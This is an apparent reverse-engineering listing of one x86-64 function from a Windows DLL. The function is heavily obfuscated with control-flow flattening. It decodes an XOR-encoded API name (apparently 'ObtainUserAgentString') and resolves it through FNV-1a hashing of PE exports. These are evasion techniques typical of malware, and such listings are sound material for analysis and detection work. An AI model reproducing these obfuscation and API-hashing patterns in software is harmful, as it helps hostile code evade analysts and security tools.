Function at 0x1800751a0
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x968
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x8e0], 0xfffffffffffffffe
mov r14, r9
mov dword [rbp + 0x83c], r8d
mov qword [rbp + 0x718], rdx
mov rsi, rcx
mov dword [rbp + 0x838], 0
lea rcx, [rbp + 0x5f0]
mov r8d, 0x104
xor edx, edx
call fcn.1800bc230
lea rcx, [rbp - 0x40]
mov r8d, 0x208
xor edx, edx
call fcn.1800bc230
lea rcx, [rbp + 0x1d0]
mov r8d, 0x208
xor edx, edx
call fcn.1800bc230
lea rcx, [rbp + 0x3e0]
mov r8d, 0x208
xor edx, edx
call fcn.1800bc230
lea rax, [rbp + 0x730]
mov qword [rbp + 0x888], rax
mov rcx, qword [rbp + 0x888]
mov word [rcx], 0xf420
mov rcx, qword [rbp + 0x888]
add rcx, 2
mov qword [rbp + 0x898], rcx
mov word [rbp + 0x8a4], 0x50
mov ebx, 0x617162e6
mov ecx, 0x508bf987
cmp ebx, 0x617162e5
jg 0x1800752a0
cmp ebx, 0xf5bc1b6d
je 0x18007532d
cmp ebx, 0x508bf987
jne 0x180075270
jmp 0x180075541
cmp ebx, 0x7e54f661
je 0x18007534a
cmp ebx, 0x617162e6
jne 0x180075270
movzx ebx, word [rbp + 0x8a4]
mov dword [rbp + 0x8b0], ebx
mov ebx, 0x1f16ce5f
nop word cs:[rax + rax]
cmp ebx, 0xba6a8021
je 0x1800753bd
cmp ebx, 0x1f16ce5f
jne 0x1800752d0
mov qword [rbp + 0x8d0], rax
mov ebx, 0x393f85b1
cmp ebx, 0xd0bddfd4
je 0x180075315
cmp ebx, 0x393f85b1
jne 0x1800752f0
mov rbx, qword [rbp + 0x8d0]
mov qword [rbp + 0x848], rbx
mov ebx, 0xd0bddfd4
jmp 0x1800752f0
mov rbx, qword [rbp + 0x848]
movzx ebx, word [rbx]
mov word [rbp + 0x8a8], bx
mov ebx, 0xba6a8021
jmp 0x1800752d0
mov word [rdx], 0
add rdx, 2
cmp rdx, qword [rbp + 0x8c8]
mov ebx, 0xf5bc1b6d
cmove ebx, ecx
jmp 0x180075270
mov dword [rbp + 0x8b0], 0x4f
mov edx, 0x1f16ce5f
nop dword [rax]
cmp edx, 0xba6a8021
je 0x1800753f3
cmp edx, 0x1f16ce5f
jne 0x180075360
mov qword [rbp + 0x8d0], rax
mov edx, 0x393f85b1
cmp edx, 0xd0bddfd4
je 0x1800753a5
cmp edx, 0x393f85b1
jne 0x180075380
mov rdx, qword [rbp + 0x8d0]
mov qword [rbp + 0x848], rdx
mov edx, 0xd0bddfd4
jmp 0x180075380
mov rdx, qword [rbp + 0x848]
movzx edx, word [rdx]
mov word [rbp + 0x8a8], dx
mov edx, 0xba6a8021
jmp 0x180075360
movzx ebx, word [rbp + 0x8a8]
mov edi, dword [rbp + 0x8b0]
xor di, bx
mov rbx, qword [rbp + 0x898]
mov word [rbx], di
mov rbx, qword [rbp + 0x898]
add rbx, 2
mov qword [rbp + 0x8b8], rbx
mov ebx, 0x7e54f661
jmp 0x180075270
movzx edx, word [rbp + 0x8a8]
mov ebx, dword [rbp + 0x8b0]
xor bx, dx
mov rdx, qword [rbp + 0x8b8]
mov word [rdx], bx
mov rdx, qword [rbp + 0x8b8]
mov dword [rbp + 0x8b0], 0x53
mov ebx, 0x1f16ce5f
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xba6a8021
je 0x18007548d
cmp ebx, 0x1f16ce5f
jne 0x180075430
mov qword [rbp + 0x8d0], rax
mov ebx, 0x393f85b1
nop dword [rax]
cmp ebx, 0xd0bddfd4
je 0x180075475
cmp ebx, 0x393f85b1
jne 0x180075450
mov rbx, qword [rbp + 0x8d0]
mov qword [rbp + 0x848], rbx
mov ebx, 0xd0bddfd4
jmp 0x180075450
mov rbx, qword [rbp + 0x848]
movzx ebx, word [rbx]
mov word [rbp + 0x8a8], bx
mov ebx, 0xba6a8021
jmp 0x180075430
movzx ebx, word [rbp + 0x8a8]
mov edi, dword [rbp + 0x8b0]
xor di, bx
mov word [rdx + 2], di
mov dword [rbp + 0x8b0], 0x54
mov ebx, 0x1f16ce5f
cmp ebx, 0xba6a8021
je 0x18007550d
cmp ebx, 0x1f16ce5f
jne 0x1800754b0
mov qword [rbp + 0x8d0], rax
mov ebx, 0x393f85b1
nop dword [rax]
cmp ebx, 0xd0bddfd4
je 0x1800754f5
cmp ebx, 0x393f85b1
jne 0x1800754d0
mov rbx, qword [rbp + 0x8d0]
mov qword [rbp + 0x848], rbx
mov ebx, 0xd0bddfd4
jmp 0x1800754d0
mov rbx, qword [rbp + 0x848]
movzx ebx, word [rbx]
mov word [rbp + 0x8a8], bx
mov ebx, 0xba6a8021
jmp 0x1800754b0
movzx ebx, word [rbp + 0x8a8]
mov edi, dword [rbp + 0x8b0]
xor di, bx
mov word [rdx + 4], di
add rdx, 6
mov rbx, qword [rbp + 0x888]
add rbx, 0xc
mov qword [rbp + 0x8c8], rbx
mov ebx, 0xf5bc1b6d
jmp 0x180075270
mov qword [rbp + 0x880], rsi
lea r13, [rbp + 0x730]
mov rcx, r13
call fcn.180083b90
lea rcx, [rbp + 0x6f8]
mov rdx, rax
call fcn.180083d90
lea rax, [rbp + 0x848]
mov qword [rbp + 0x8d0], rax
mov ecx, 0x8db4a24c
mov rax, qword [rbp + 0x8d0]
cmp ecx, 0x8db4a24c
je 0x180075592
cmp ecx, 0x79d7dbd0
jne 0x180075580
jmp 0x180075599
mov ecx, 0x79d7dbd0
jmp 0x180075580
mov qword [rbp + 0x730], rax
mov ecx, 0x9f16e78c
nop word cs:[rax + rax]
nop
cmp ecx, 0x2fc13bf4
je 0x1800755d5
cmp ecx, 0x9f16e78c
jne 0x1800755b0
mov rcx, qword [rbp + 0x730]
mov qword [rcx], 0
mov ecx, 0x2fc13bf4
jmp 0x1800755b0
mov qword [rax + 0x10], 0
add rax, 0x18
mov qword [rbp + 0x730], rax
mov eax, 0x92f154b0
nop dword [rax]
cmp eax, 0x385b5cfc
je 0x180075613
cmp eax, 0x92f154b0
jne 0x1800755f0
mov rax, qword [rbp + 0x730]
mov qword [rax], 0
mov eax, 0x385b5cfc
jmp 0x1800755f0
mov eax, 0xe75d8da1
nop dword [rax + rax]
cmp eax, 0x98260bfa
je 0x18007563c
cmp eax, 0xe75d8da1
jne 0x180075620
mov rax, qword [rbp + 0x8d0]
mov eax, 0x98260bfa
jmp 0x180075620
mov eax, 0x98ba298e
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xeab0ce3a
je 0x180075673
cmp eax, 0x98ba298e
jne 0x180075650
lea rax, [rbp + 0x848]
mov qword [rbp + 0x730], rax
mov eax, 0xeab0ce3a
jmp 0x180075650
mov rax, qword [rbp + 0x730]
movaps xmm0, xmmword [0x1800d9050]
movups xmmword [rax + 0x10], xmm0
mov ecx, 0x89b98073
nop word [rax + rax]
cmp ecx, 0xd1e4dc6a
je 0x1800756ac
cmp ecx, 0x89b98073
jne 0x180075690
mov word [rax], 0
mov ecx, 0xd1e4dc6a
jmp 0x180075690
mov qword [r14], 0
mov rax, qword [rbp + 0x950]
mov dword [rax], 0
mov qword [rbp + 0x8b0], r13
mov rax, qword [rbp + 0x8b0]
mov byte [rax], 0x76
mov rax, qword [rbp + 0x8b0]
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x18007573f
cmp ecx, 0xca7b3a3b
jne 0x1800756e0
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075725
cmp ecx, 0xfe6db83b
jne 0x180075700
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075700
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x4f
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x1800756e0
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 1], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x1800757af
cmp ecx, 0xca7b3a3b
jne 0x180075750
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075795
cmp ecx, 0xfe6db83b
jne 0x180075770
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075770
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x62
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075750
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 2], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x18007581f
cmp ecx, 0xca7b3a3b
jne 0x1800757c0
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075805
cmp ecx, 0xfe6db83b
jne 0x1800757e0
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x1800757e0
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x74
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x1800757c0
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 3], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x18007588f
cmp ecx, 0xca7b3a3b
jne 0x180075830
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075875
cmp ecx, 0xfe6db83b
jne 0x180075850
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075850
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x61
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075830
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 4], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x1800758ff
cmp ecx, 0xca7b3a3b
jne 0x1800758a0
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x1800758e5
cmp ecx, 0xfe6db83b
jne 0x1800758c0
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x1800758c0
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x69
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x1800758a0
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 5], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x18007596f
cmp ecx, 0xca7b3a3b
jne 0x180075910
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075955
cmp ecx, 0xfe6db83b
jne 0x180075930
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075930
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x6e
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075910
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 6], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x1800759df
cmp ecx, 0xca7b3a3b
jne 0x180075980
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x1800759c5
cmp ecx, 0xfe6db83b
jne 0x1800759a0
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x1800759a0
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x55
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075980
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 7], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x180075a4f
cmp ecx, 0xca7b3a3b
jne 0x1800759f0
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075a35
cmp ecx, 0xfe6db83b
jne 0x180075a10
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075a10
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x73
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x1800759f0
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 8], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x180075abf
cmp ecx, 0xca7b3a3b
jne 0x180075a60
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075aa5
cmp ecx, 0xfe6db83b
jne 0x180075a80
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075a80
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x65
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075a60
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 9], cl
mov ecx, 0xca7b3a3b
nop dword [rax]
cmp ecx, 0x27ad9862
je 0x180075b2f
cmp ecx, 0xca7b3a3b
jne 0x180075ad0
mov qword [rbp + 0x8c8], r13
mov ecx, 0xfe6db83b
nop dword [rax]
cmp ecx, 0x66367cf6
je 0x180075b15
cmp ecx, 0xfe6db83b
jne 0x180075af0
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x66367cf6
jmp 0x180075af0
mov rcx, qword [rbp + 0x8d0]
movsx ecx, byte [rcx]
xor ecx, 0x72
mov dword [rbp + 0x8b8], ecx
mov ecx, 0x27ad9862
jmp 0x180075ad0
mov ecx, dword [rbp + 0x8b8]
mov byte [rax + 0xa], cl
add rax, 0xb
mov qword [rbp + 0x888], rax
mov edx, 0x2d365198
mov eax, 0x37e837f
nop dword [rax]
cmp edx, 0x2d365197
jg 0x180075be0
cmp edx, 0x37e837f
je 0x1800760d8
cmp edx, 0x15d86c6d
jne 0x180075b50
mov cl, byte [rbp + 0x8a4]
mov edx, 0xca7b3a3b
nop dword [rax + rax]
cmp edx, 0x27ad9862
je 0x180075c5f
cmp edx, 0xca7b3a3b
jne 0x180075b80
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
cmp edx, 0x66367cf6
je 0x180075bc5
cmp edx, 0xfe6db83b
jne 0x180075ba0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075ba0
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, cl
movsx edx, dl
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075b80
cmp edx, 0x2fe7b054
je 0x180075cdf
cmp edx, 0x2d365198
jne 0x180075b50
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075cfa
cmp edx, 0xca7b3a3b
jne 0x180075c00
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
cmp edx, 0x66367cf6
je 0x180075c45
cmp edx, 0xfe6db83b
jne 0x180075c20
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075c20
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x41
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075c00
mov ecx, dword [rbp + 0x8a8]
mov rdx, qword [rbp + 0x898]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x898]
mov edx, 0xca7b3a3b
nop word [rax + rax]
cmp edx, 0x27ad9862
je 0x180075d2c
cmp edx, 0xca7b3a3b
jne 0x180075c80
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
cmp edx, 0x66367cf6
je 0x180075cc5
cmp edx, 0xfe6db83b
jne 0x180075ca0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075ca0
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x65
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075c80
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x8b8]
mov edx, 0x2fe7b054
cmove edx, eax
jmp 0x180075b50
mov edx, dword [rbp + 0x8a8]
mov rbx, qword [rbp + 0x888]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x888]
add rdx, 1
mov qword [rbp + 0x898], rdx
mov byte [rbp + 0x8a4], 0x67
mov edx, 0x15d86c6d
jmp 0x180075b50
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 1], dl
mov edx, 0xca7b3a3b
nop word [rax + rax]
cmp edx, 0x27ad9862
je 0x180075d9f
cmp edx, 0xca7b3a3b
jne 0x180075d40
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075d85
cmp edx, 0xfe6db83b
jne 0x180075d60
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075d60
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x6e
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075d40
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 2], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075e0f
cmp edx, 0xca7b3a3b
jne 0x180075db0
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075df5
cmp edx, 0xfe6db83b
jne 0x180075dd0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075dd0
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x74
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075db0
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 3], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075e7f
cmp edx, 0xca7b3a3b
jne 0x180075e20
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075e65
cmp edx, 0xfe6db83b
jne 0x180075e40
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075e40
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x53
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075e20
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 4], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075eef
cmp edx, 0xca7b3a3b
jne 0x180075e90
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075ed5
cmp edx, 0xfe6db83b
jne 0x180075eb0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075eb0
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x74
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075e90
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 5], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075f5f
cmp edx, 0xca7b3a3b
jne 0x180075f00
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075f45
cmp edx, 0xfe6db83b
jne 0x180075f20
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075f20
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x72
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075f00
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 6], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x180075fcf
cmp edx, 0xca7b3a3b
jne 0x180075f70
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180075fb5
cmp edx, 0xfe6db83b
jne 0x180075f90
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180075f90
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x69
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075f70
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 7], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x18007603f
cmp edx, 0xca7b3a3b
jne 0x180075fe0
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180076025
cmp edx, 0xfe6db83b
jne 0x180076000
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180076000
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x6e
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180075fe0
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 8], dl
mov edx, 0xca7b3a3b
nop dword [rax]
cmp edx, 0x27ad9862
je 0x1800760af
cmp edx, 0xca7b3a3b
jne 0x180076050
mov qword [rbp + 0x8c8], r13
mov edx, 0xfe6db83b
nop dword [rax]
cmp edx, 0x66367cf6
je 0x180076095
cmp edx, 0xfe6db83b
jne 0x180076070
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0x66367cf6
jmp 0x180076070
mov rdx, qword [rbp + 0x8d0]
movsx edx, byte [rdx]
xor edx, 0x67
mov dword [rbp + 0x8a8], edx
mov edx, 0x27ad9862
jmp 0x180076050
mov edx, dword [rbp + 0x8a8]
mov byte [rcx + 9], dl
add rcx, 0xa
mov rdx, qword [rbp + 0x8b0]
add rdx, 0x17
mov qword [rbp + 0x8b8], rdx
mov edx, 0x2fe7b054
jmp 0x180075b50
mov edx, 0xd298fcb3
mov esi, 0xafa0c586
jmp 0x1800760f0
mov edx, 0xbaac69f7
mov rcx, qword [rbp + 0x898]
cmp edx, 0x88750a7
jle 0x180076120
cmp edx, 0x46e0aa46
jg 0x180076160
cmp edx, 0x18b053ed
je 0x1800760e4
cmp edx, 0x418f9a02
jne 0x18007628b
mov edx, 0xbaac69f7
xor ecx, ecx
jmp 0x1800760f0
cmp edx, 0xd298fcb2
jg 0x1800761a0
cmp edx, 0xafa0c586
je 0x1800761d0
cmp edx, 0xbaac69f7
jne 0x1800760f0
mov qword [rbp + 0x8b8], rcx
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 0x15
mov edx, 0xe98929b7
cmovb edx, esi
jmp 0x1800760f0
cmp edx, 0x46e0aa47
je 0x180076260
cmp edx, 0x57213b0d
jne 0x1800760f0
mov rdx, qword [rbp + 0x8b0]
add rdx, 1
mov qword [rbp + 0x888], rdx
mov edx, 0x88750a8
jmp 0x1800760f0
cmp edx, 0xd298fcb3
je 0x18007626a
cmp edx, 0xe98929b7
jne 0x1800760f0
mov byte [rbp + 0x746], 0
mov qword [rbp + 0x8b0], r13
mov edx, 0x57213b0d
jmp 0x1800760f0
mov rdx, qword [rbp + 0x8b8]
add rdx, 1
mov qword [rbp + 0x898], rdx
mov rdx, qword [rbp + 0x898]
mov bl, byte [rbp + rdx + 0x730]
mov edi, 0xca7b3a3b
nop word cs:[rax + rax]
nop
cmp edi, 0x27ad9862
je 0x180076274
cmp edi, 0xca7b3a3b
jne 0x180076200
mov qword [rbp + 0x8c8], r13
mov edi, 0xfe6db83b
nop dword [rax]
cmp edi, 0x66367cf6
je 0x180076245
cmp edi, 0xfe6db83b
jne 0x180076220
mov rdi, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdi
mov edi, 0x66367cf6
jmp 0x180076220
mov rdi, qword [rbp + 0x8d0]
mov al, byte [rdi]
xor al, bl
movsx eax, al
mov dword [rbp + 0x8a8], eax
mov edi, 0x27ad9862
jmp 0x180076200
mov edx, 0x18b053ed
jmp 0x1800760f0
mov edx, 0x418f9a02
jmp 0x1800760f0
mov eax, dword [rbp + 0x8a8]
mov byte [rbp + rdx + 0x730], al
mov edx, 0x46e0aa47
jmp 0x1800760f0
cmp edx, 0x88750a8
jne 0x1800760f0
mov qword [rbp + 0x720], r14
mov rax, qword [rbp + 0x888]
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x180076300
movsxd rdi, ebx
xor rdi, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rdi, rdx
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
nop word [rax + rax]
cmp edx, 0xf65328f1
jg 0x180076360
cmp edx, 0xc212bd2a
jle 0x1800763b0
cmp edx, 0xd94e5920
jg 0x18007642a
cmp edx, 0xc212bd2b
je 0x180076508
cmp edx, 0xd12f0328
je 0x180076512
cmp edx, 0xd1da1d7e
jne 0x180076300
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x180076300
cmp edx, 0x32830d68
jg 0x1800763f0
cmp edx, 0x1ee519d5
jle 0x180076463
cmp edx, 0x1ee519d6
je 0x18007652b
cmp edx, 0x23144f16
je 0x180076540
cmp edx, 0x266919b2
jne 0x180076300
mov edx, 0xde45267d
jmp 0x180076300
cmp edx, 0xa971a22b
jle 0x1800764a6
cmp edx, 0xa971a22c
je 0x180076550
cmp edx, 0xaa53857a
je 0x18007655c
cmp edx, 0xae198c88
jne 0x180076300
mov edx, 0xac5b234
xor esi, esi
mov rdi, r10
jmp 0x180076300
cmp edx, 0x5eec1115
jle 0x1800764d9
cmp edx, 0x5eec1116
je 0x180076566
cmp edx, 0x7090fb3e
je 0x18007658a
cmp edx, 0x676f3d91
jne 0x180076300
mov edx, 0xa971a22c
jmp 0x180076300
cmp edx, 0xd94e5921
je 0x1800762d4
cmp edx, 0xde45267d
je 0x1800765a3
cmp edx, 0xe4465726
jne 0x180076300
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x180076300
cmp edx, 0xf65328f2
je 0x1800765b3
cmp edx, 0xac5b234
jne 0x18007660a
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rdi
mov edx, dword [rbp + 0x898]
mov r12d, dword [rbp + 0x8b8]
cmp r12d, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x180076300
cmp edx, 0x9a007ce3
je 0x1800765e0
cmp edx, 0x9a8ae9d1
jne 0x180076300
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov edx, 0x5eec1116
jmp 0x180076300
cmp edx, 0x32830d69
je 0x1800765fa
cmp edx, 0x454da8a0
jne 0x180076300
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov edx, 0x9a8ae9d1
jmp 0x180076300
mov edx, 0xae198c88
jmp 0x180076300
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov edx, 0x23144f16
jmp 0x180076300
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x180076300
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x888]
jmp 0x180076300
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x180076300
mov edx, 0xc212bd2b
jmp 0x180076300
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x180076300
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x180076300
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x180076300
